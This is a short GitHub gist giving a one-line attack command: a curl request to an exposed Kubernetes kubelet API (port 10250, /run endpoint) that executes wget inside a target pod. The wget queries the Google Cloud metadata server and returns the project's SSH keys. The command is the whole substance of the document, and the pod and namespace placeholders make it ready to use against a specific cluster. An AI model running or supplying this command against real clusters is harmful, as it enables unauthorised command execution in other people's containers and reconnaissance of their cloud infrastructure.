Skip to content

Instantly share code, notes, and snippets.

@random-robbie
Last active April 1, 2019 11:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save random-robbie/34b582a375709751488753e6c99106c4 to your computer and use it in GitHub Desktop.
Save random-robbie/34b582a375709751488753e6c99106c4 to your computer and use it in GitHub Desktop.

Retrive Public SSH keys from google metadata

Request

curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "busybox wget -q -O - --header='Metadata-Flavor: Google' http://metadata/computeMetadata/v1/project/attributes/ssh-keys?alt=json"

The response will provide you with the ssh public keys used for that project.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment